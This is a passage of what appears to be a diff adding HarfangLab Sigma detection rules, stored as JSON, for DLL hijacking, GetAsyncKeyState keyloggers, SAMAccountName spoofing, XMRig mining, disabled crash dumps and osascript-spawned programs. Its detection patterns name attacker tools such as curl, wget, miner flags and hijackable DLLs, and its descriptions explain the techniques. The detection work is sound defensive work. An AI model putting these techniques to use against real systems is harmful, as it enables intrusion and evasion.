classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'presentationsettings.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\mmdevapi.dll'\n            - '\\propsys.dll'\n            - '\\shell32.dll'\n            - '\\SspiCli.dll'\n            - '\\windows.storage.dll'\n            - '\\windowscodecs.dll'\n            - '\\winmm.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "933b39f4-d353-4ace-b166-4b9d83517edb",
+  "rule_name": "DLL Hijacking via presentationsettings.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via presentationsettings.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "934952a1-0688-4084-87a4-21dfd45e1e51",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.295949Z",
+  "creation_date": "2026-03-23T11:45:35.295952Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.295958Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/kimsuky-new-keylogger-backdoor-variant/",
+    "https://blog.sekoia.io/darkgate-internals/",
+    "https://www.uptycs.com/blog/threat-research-report-team/warzone-rat-comes-with-uac-bypass-technique",
+    "https://www.cybereason.com/blog/research/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
+    "https://attack.mitre.org/techniques/T1056/001/"
+  ],
+  "name": "t1056_001_getasynckeystate_keylogger.yml",
+  "content": "title: Possible GetAsyncKeyState Keylogger\nid: 934952a1-0688-4084-87a4-21dfd45e1e51\ndescription: |\n    Detects a suspicious call to the GetAsyncKeyState API.\n    This API determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.\n    Adversaries may use this API in order to log user keystrokes and intercept credentials as the user types them.\n    It is recommended to check the process which called GetAsyncKeyState for suspicious activities.\nreferences:\n    - https://unit42.paloaltonetworks.com/kimsuky-new-keylogger-backdoor-variant/\n    - https://blog.sekoia.io/darkgate-internals/\n    - https://www.uptycs.com/blog/threat-research-report-team/warzone-rat-comes-with-uac-bypass-technique\n    - https://www.cybereason.com/blog/research/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite\n    - https://attack.mitre.org/techniques/T1056/001/\ndate: 2025/04/29\nmodified: 2026/12/16\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.collection\n    - attack.t1056.001\n    - classification.Windows.Source.Win32kGetAsyncKeyState\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.Collection\n    - classification.Windows.Behavior.Keylogger\nlogsource:\n    product: windows\n    category: win32k_getasynckeystate\ndetection:\n    selection:\n        AgentVersion|gte|version: 4.9.0\n        # Keyloggers frequently invoke GetAsyncKeyState to achieve high-precision keystroke capture\n        BackgroundCallCount|gt: 1000000\n        Image|startswith:\n            - '?:\\Users\\'\n            - '?:\\Windows\\'\n            - '?:\\ProgramData\\'\n            - '?:\\\\?Recycle.Bin\\'\n\n    exclusion_other_signed_program:\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'NVIDIA Corporation'\n            - 'SOC Informatique'\n            - 'Cisco WebEx LLC'\n            - 'Skyline Software Systems Inc'\n            - 'Skyline Software Systems, Inc'\n            - 'VNG CORPORATION'\n            - 'YNYNG LLC'\n            - 'Progress Software Corporation'\n            - 'Dedalus Italia S.P.A.'\n            - 'Oracle America, Inc.'\n            - 'ANSYS Inc.'\n            - 'A K I O SAS'\n            - 'AKIO SAS'\n            - 'Nenad Hrg'\n            - 'Adobe Inc.'\n            - 'Tixeo SAS'\n            - 'Esm Software'\n            - 'LogMeIn, Inc.'\n            - 'Environmental Systems Research Institute, Inc.'\n            - 'Klee Commerce SAS'\n            - 'Biesse S.p.A'\n            - 'CarrierX LLC'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n\n    exclusion_optimot:\n        ProcessSha256: '9622289397f00c03f0cb78dbff1ae2f40aeb1f688ab754809e5caeb3f58a77ac'\n\n    exclusion_gcti:\n        ProcessCompany: 'Genesys Telecommunications Laboratories, Inc.'\n        ProcessProcessName:\n            - 'GenesysSoftphone.exe'\n            - 'InteractionWorkspaceSIPEndpoint.exe'\n\n    exclusion_avob:\n        ProcessOriginalFileName: 'Photoshop.exe'\n        ProcessCompany : 'adobe'\n\n    exclusion_i_fourc:\n        ProcessOriginalFileName: 'JIM.exe'\n        ProcessCompany : 'I-FourC®'\n\n    exclusion_arcplus:\n        ProcessOriginalFileName: 'arcplus.exe'\n        ProcessCompany : 'ARC Technology'\n\n    exclusion_netgeo:\n        ProcessOriginalFileName: 'GI.Netgeo.UI.exe'\n        ProcessCompany : 'GiSmartware'\n\n    exclusion_4d:\n        ProcessOriginalFileName:\n            - '4D.exe'\n            - '4D_WS.exe'\n        ProcessCompany : '4D'\n        ProcessDescription: '4e Dimension'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "934952a1-0688-4084-87a4-21dfd45e1e51",
+  "rule_name": "Possible GetAsyncKeyState Keylogger",
+  "rule_description": "Detects a suspicious call to the GetAsyncKeyState API.\nThis API determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.\nAdversaries may use this API in order to log user keystrokes and intercept credentials as the user types them.\nIt is recommended to check the process which called GetAsyncKeyState for suspicious activities.\n",
+  "rule_creation_date": "2025-04-29",
+  "rule_modified_date": "2026-12-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1056.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "934d8149-fd57-4838-bcb1-80f8369b603d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.611313Z",
+  "creation_date": "2026-03-23T11:45:34.611317Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.611325Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing",
+    "https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html",
+    "https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/",
+    "https://attack.mitre.org/techniques/T1078/002/"
+  ],
+  "name": "t1078_002_samaccountname_spoofing.yml",
+  "content": "title: SAM AccountName Spoofed\nid: 934d8149-fd57-4838-bcb1-80f8369b603d\ndescription: |\n    Detects potential exploitation of CVE-2021-42278, an Active Directory Domain Services Elevation of Privilege Vulnerability.\n    Exploitation of this vulnerability results in the ability to change a machine account SAMAccountName attribute to a domain controller's name without the trailing \"$\".\n    In combinaison with CVE-2021-42287, it allows attackers to impersonate a domain controller account.\nreferences:\n    - https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing\n    - https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html\n    - https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/\n    - https://attack.mitre.org/techniques/T1078/002/\ndate: 2021/12/13\nmodified: 2024/03/12\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1078.002\n    - cve.2021-42278\n    - classification.Windows.Source.EventLog\n    - classification.Windows.Exploit.CVE-2021-42278\n    - classification.Windows.Exploit.SAMAccountName\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection:\n        EventID: 4781\n        OldTargetUserName|endswith: '$'\n\n    filter_newtarget:\n        NewTargetUserName|endswith: '$'\n\n    condition: selection and not 1 of filter_*\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "934d8149-fd57-4838-bcb1-80f8369b603d",
+  "rule_name": "SAM AccountName Spoofed",
+  "rule_description": "Detects potential exploitation of CVE-2021-42278, an Active Directory Domain Services Elevation of Privilege Vulnerability.\nExploitation of this vulnerability results in the ability to change a machine account SAMAccountName attribute to a domain controller's name without the trailing \"$\".\nIn combinaison with CVE-2021-42287, it allows attackers to impersonate a domain controller account.\n",
+  "rule_creation_date": "2021-12-13",
+  "rule_modified_date": "2024-03-12",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1078.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "93d39164-301b-4198-86a9-0707c82a3347",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.609707Z",
+  "creation_date": "2026-03-23T11:45:34.609711Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.609719Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://xmrig.com/docs/miner/command-line-options",
+    "https://attack.mitre.org/techniques/T1496/"
+  ],
+  "name": "t1496_xmrig_cryptominer_commandline_args_windows.yml",
+  "content": "title: Possible XMRig Execution (Windows)\nid: 93d39164-301b-4198-86a9-0707c82a3347\ndescription: |\n    Detects suspicious arguments in a command-line potentially linked to XMRig cryptominer.\n    XMRig is an open source cryptominer used by adversaries to mine cryptocurrency on victim systems.\n    It is recommended to determine whether the execution of this tool is legitimate and to start remediative actions if necessary.\nreferences:\n    - https://xmrig.com/docs/miner/command-line-options\n    - https://attack.mitre.org/techniques/T1496/\ndate: 2022/11/15\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.impact\n    - attack.t1496\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.CryptoMiner.XMRig\n    - classification.Windows.Behavior.CryptoMiner\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine|contains:\n            - ' --rig-id'\n            - ' --argon2-impl'\n            - ' --donate-level='\n            - ' --max-cpu-usage='\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "93d39164-301b-4198-86a9-0707c82a3347",
+  "rule_name": "Possible XMRig Execution (Windows)",
+  "rule_description": "Detects suspicious arguments in a command-line potentially linked to XMRig cryptominer.\nXMRig is an open source cryptominer used by adversaries to mine cryptocurrency on victim systems.\nIt is recommended to determine whether the execution of this tool is legitimate and to start remediative actions if necessary.\n",
+  "rule_creation_date": "2022-11-15",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1496"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "93f0ca06-4450-4e9b-a680-a037d640b553",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619123Z",
+  "creation_date": "2026-03-23T11:45:34.619125Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619129Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_vaultcmd.yml",
+  "content": "title: DLL Hijacking via vaultcmd.exe\nid: 93f0ca06-4450-4e9b-a680-a037d640b553\ndescription: |\n    Detects potential Windows DLL Hijacking via vaultcmd.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'vaultcmd.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\userenv.dll'\n            - '\\VAULTCLI.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "93f0ca06-4450-4e9b-a680-a037d640b553",
+  "rule_name": "DLL Hijacking via vaultcmd.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via vaultcmd.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "94256ed3-174c-46be-b5df-97c9d5d3af5a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621483Z",
+  "creation_date": "2026-03-23T11:45:34.621485Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621489Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.malwarebytes.com/threat-intelligence/2022/03/hermeticwiper-a-detailed-analysis-of-the-destructive-malware-that-targeted-ukraine/",
+    "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_windows_crash_dump_disable_registry.yml",
+  "content": "title: Crash Dumps Mechanism Disabled\nid: 94256ed3-174c-46be-b5df-97c9d5d3af5a\ndescription: |\n    Detects the Crash Dumps mechanism being disabled.\n    Attackers can disable the crash dump mechanism to prevent Administrators from easily finding the reason of a system crash which could be linked to their malicious activities.\n    It is recommended to ensure the legitimacy of this policy change.\nreferences:\n    - https://blog.malwarebytes.com/threat-intelligence/2022/03/hermeticwiper-a-detailed-analysis-of-the-destructive-malware-that-targeted-ukraine/\n    - https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2022/03/16\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SetValue'\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\CrashControl\\CrashDumpEnabled'\n        Details: 'DWORD (0x00000000)'\n\n    exclusion_from_graphical_interface:\n        # via sysdm.cpl > Advanced > Settings > Write Debugging information\n        Image: '?:\\Windows\\system32\\SystemPropertiesAdvanced.exe'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_opti:\n        ProcessParentCommandLine|contains: '?:\\temp\\WS2016Optimisations.ps1'\n\n    exclusion_citrix:\n        ProcessOriginalFileName: 'CitrixOptimizerTool.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Citrix Systems, Inc.'\n\n    exclusion_wmi:\n        ProcessImage: '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "94256ed3-174c-46be-b5df-97c9d5d3af5a",
+  "rule_name": "Crash Dumps Mechanism Disabled",
+  "rule_description": "Detects the Crash Dumps mechanism being disabled.\nAttackers can disable the crash dump mechanism to prevent Administrators from easily finding the reason of a system crash which could be linked to their malicious activities.\nIt is recommended to ensure the legitimacy of this policy change.\n",
+  "rule_creation_date": "2022-03-16",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "94503606-01d9-4e36-b05c-7ddbadadf645",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095181Z",
+  "creation_date": "2026-03-23T11:45:34.095183Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095187Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wojciechregula.blog/post/macos-red-teaming-initial-access-via-applescript-url/",
+    "https://gist.github.com/Metnew/09a50c38d398c482b2df59082f0d13c6",
+    "https://attack.mitre.org/techniques/T1059/002/",
+    "https://attack.mitre.org/techniques/T1033/"
+  ],
+  "name": "t1059_002_osascript_spawn_process.yml",
+  "content": "title: Suspicious Program Spawned by Osascript\nid: 94503606-01d9-4e36-b05c-7ddbadadf645\ndescription: |\n    Detects a suspicious program being spawned by osascript.\n    An attacker could use Apple Script and execute other programs like python or ruby to achieve various behaviors like a reverse shell.\n    It is recommended to investigate the program spawned by the script and the script itself to determine whether this action was legitimate.\nreferences:\n    - https://wojciechregula.blog/post/macos-red-teaming-initial-access-via-applescript-url/\n    - https://gist.github.com/Metnew/09a50c38d398c482b2df59082f0d13c6\n    - https://attack.mitre.org/techniques/T1059/002/\n    - https://attack.mitre.org/techniques/T1033/\ndate: 2022/11/14\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1569.002\n    - attack.defense_evasion\n    - attack.t1222.002\n    - attack.collection\n    - attack.t1560.001\n    - attack.t1119\n    - attack.command_and_control\n    - attack.t1105\n    - attack.discovery\n    - attack.t1057\n    - attack.t1033\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.LOLBin.Osascript\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection_ancestors:\n        Ancestors|contains: '/osascript'\n\n    selection_descendants_lolbins:\n        Image|endswith:\n            - '/ditto'\n            - '/zip'\n            - '/curl'\n            - '/wget'\n            - '/cp'\n            - '/mv'\n            - '/cat'\n            - '/dscl'\n            - '/mdls'\n            - '/security'\n            - '/system_profiler'\n            - '/sw_vers'\n            - '/dscacheutil'\n            - '/csrutil'\n            - '/netstat'\n            - '/who'\n            - '/preintenv'\n            - '/smbutil'\n            - '/shownmount'\n            - '/dseditgroup'\n            - '/kcc'\n            - '/mkpassdb'\n            - '/dsenableroot'\n            - '/grep'\n            - '/ls'\n            - '/ldapsearch'\n            - '/nohup'\n            - '/ps'\n            - '/logname'\n\n    selection_descendants_chmod:\n        Image|endswith: '/chmod'\n        CommandLine|contains: ' +x '\n\n    exclusion_cellar:\n        Image: '/bin/cat'\n        Ancestors|contains:\n            - '/opt/homebrew/Cellar/gopass-jsonapi/'\n            - '/opt/homebrew/Cellar/gopass/'\n\n    exclusion_globalprotect:\n        - Ancestors|contains: '/Applications/GlobalProtect.app/Contents/Resources/PanGpHip'\n        - CommandLine: '/usr/bin/grep -e state = -e path = -e SERVICE_NAME'\n\n    exclusion_openoffice:\n        CommandLine: 'grep ^ProductKey=LibreOffice * /Applications/LibreOffice.app/Contents/Resources/bootstraprc'\n        ParentCommandLine: 'osascript /private/var/folders/*/LibreOffice Language Pack.app/Contents/Resources/osx_install.applescript'\n\n    exclusion_pkinstallsandbox:\n        GrandparentCommandLine|startswith:\n            - '/bin/bash /tmp/PKInstallSandbox'\n            - '/usr/bin/osascript /tmp/PKInstallSandbox'\n\n    exclusion_postinstall:\n        GrandparentCommandLine: 'bash -x postinstall'\n        ParentCommandLine: 'bash -x postinstall'\n\n    condition: selection_ancestors and 1 of selection_descendants_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "94503606-01d9-4e36-b05c-7ddbadadf645",
+  "rule_name": "Suspicious Program Spawned by Osascript",
+  "rule_description": "Detects a suspicious program being spawned by osascript.\nAn attacker could use Apple Script and execute other programs like python or ruby to achieve various behaviors like a reverse shell.\nIt is recommended to investigate the program spawned by the script and the script itself to determine whether this action was legitimate.\n",
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.discovery",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1033",
+    "attack.t1057",
+    "attack.t1105",
+    "attack.t1119",
+    "attack.t1222.002",
